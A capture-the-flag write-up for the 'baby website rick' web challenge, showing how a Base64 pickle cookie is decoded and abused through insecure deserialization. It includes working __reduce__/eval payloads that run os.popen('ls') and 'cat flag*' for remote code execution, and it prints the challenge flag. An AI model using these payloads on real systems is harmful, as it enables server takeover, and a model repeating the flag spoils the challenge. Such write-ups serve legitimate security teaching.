baby website rick
3 minutes to read
We are provided with this webpage:

Analyzing the website
This time, we don’t have any source code to analyze. However, the above image shows something suspicious:
<__main__.anti_pickle_serum object at 0x7f0ed62d1810>
This looks like a Python class:
$ python3 -q
>>> class Test():
... pass
...
>>> Test()
<__main__.Test object at 0x1007fbd30>
Moreover, we have a cookie named plan_b:

This looks like a Base64-encoded string:
>>> from base64 import b64encode as b64e, b64decode as b64d
>>> b64d('KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu')
b"(dp0\nS'serum'\np1\nccopy_reg\n_reconstructor\np2\n(c__main__\nanti_pickle_serum\np3\nc__builtin__\nobject\np4\nNtp5\nRp6\ns."
And this looks like a serialized object. In Python, the typical way to serialize objects is with pickle. Let’s try to deserialize it:
>>> import pickle
>>> pickle.loads(b64d('KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: Can't get attribute 'anti_pickle_serum' on <module '__main__' (built-in)>
But it raises an error because anti_pickle_serum is not defined. Let’s define it as a list, for example:
>>> anti_pickle_serum = []
>>> pickle.loads(b64d('KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/lib/python3.8/copyreg.py", line 43, in _reconstructor
obj = object.__new__(cls)
TypeError: object.__new__(X): X is not a type object (list)
Now we have a different error, which shows that anti_pickle_serum must be an object:
>>> class anti_pickle_serum():
... pass
...
>>> pickle.loads(b64d('KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'))
{'serum': <__main__.anti_pickle_serum object at 0x100d0e2f0>}
Now we see that the serialized object is this dictionary: {'serum': anti_pickle_serum()}:
>>> {'serum': anti_pickle_serum()}
{'serum': <__main__.anti_pickle_serum object at 0x1007fbd30>}
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}))
b'gASVMAAAAAAAAAB9lIwFc2VydW2UjAhfX21haW5fX5SMEWFudGlfcGlja2xlX3NlcnVtlJOUKYGUcy4='
However, notice that the above serialized string is very different to the one that came from the website. If we look at the documentation for pickle.dumps, we can see that there are different protocols (0 through 5):
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=0))
b'KGRwMApWc2VydW0KcDEKY2NvcHlfcmVnCl9yZWNvbnN0cnVjdG9yCnAyCihjX19tYWluX18KYW50aV9waWNrbGVfc2VydW0KcDMKY19fYnVpbHRpbl9fCm9iamVjdApwNApOdHA1ClJwNgpzLg=='
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=1))
b'fXEAWAUAAABzZXJ1bXEBY2NvcHlfcmVnCl9yZWNvbnN0cnVjdG9yCnECKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpxA2NfX2J1aWx0aW5fXwpvYmplY3QKcQROdHEFUnEGcy4='
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=2))
b'gAJ9cQBYBQAAAHNlcnVtcQFjX19tYWluX18KYW50aV9waWNrbGVfc2VydW0KcQIpgXEDcy4='
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=3))
b'gAN9cQBYBQAAAHNlcnVtcQFjX19tYWluX18KYW50aV9waWNrbGVfc2VydW0KcQIpgXEDcy4='
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=4))
b'gASVMAAAAAAAAAB9lIwFc2VydW2UjAhfX21haW5fX5SMEWFudGlfcGlja2xlX3NlcnVtlJOUKYGUcy4='
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=5))
b'gAWVMAAAAAAAAAB9lIwFc2VydW2UjAhfX21haW5fX5SMEWFudGlfcGlja2xlX3NlcnVtlJOUKYGUcy4='
The result with protocol=0 looks similar to the cookie.
Testing deserialization
Let’s see if we can modify something in the website:
>>> b64e(pickle.dumps({'serum': 'asdf'}, protocol=0))
b'KGRwMApWc2VydW0KcDEKVmFzZGYKcDIKcy4='
If we set this cookie and refresh the page, we should see asdf, instead of the anti_pickle_serum object reference:

So, we have found a way of showing controlled data in the website.
Since the application is built with Python, it is likely that it uses Flask. Therefore, let’s try to exploit a Server-Side Template Injection (SSTI):
>>> b64e(pickle.dumps({'serum': '{{7*7}}'}, protocol=0))
b'KGRwMApWc2VydW0KcDEKVnt7Nyo3fX0KcDIKcy4='
But it is not vulnerable, since we see exactly {{7*7}} instead of 49:

Exploiting pickle
Therefore, we must exploit the fact that the server uses pickle.loads to deserialize the cookie. It is well-known that pickle is vulnerable to insecure deserialization (more information here). We only need to create an object like the following and serialize it as before:
>>> class anti_pickle_serum():
... def __reduce__(self):
... return (eval, ('7*7', ))
...
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=0))
b'KGRwMApWc2VydW0KcDEKY19fYnVpbHRpbl9fCmV2YWwKcDIKKFY3KjcKcDMKdHA0ClJwNQpzLg=='
If we set the above cookie, we gain the power to execute Python code with eval on the server and show the result in the website:

Therefore, let’s escalate to Remote Code Execution and run ls on the system:
>>> class anti_pickle_serum():
... def __reduce__(self):
... return (eval, ('__import__("os").popen("ls").read()', ))
...
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=0))
b'KGRwMApWc2VydW0KcDEKY19fYnVpbHRpbl9fCmV2YWwKcDIKKFZfX2ltcG9ydF9fKCJvcyIpLnBvcGVuKCJscyIpLnJlYWQoKQpwMwp0cDQKUnA1CnMu'

As can be seen we have the flag filename (flag_wlp1b), so we can read it.
Flag
Instead of using the full filename, we can use a wildcard:
>>> class anti_pickle_serum():
... def __reduce__(self):
... return (eval, ('__import__("os").popen("cat flag*").read()', ))
...
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=0))
b'KGRwMApWc2VydW0KcDEKY19fYnVpbHRpbl9fCmV2YWwKcDIKKFZfX2ltcG9ydF9fKCJvcyIpLnBvcGVuKCJjYXQgZmxhZyoiKS5yZWFkKCkKcDMKdHA0ClJwNQpzLg=='

And there’s the flag: HTB{g00d_j0b_m0rty...n0w_I_h4v3_to_g0_to_f4m1ly_th3r4py..}.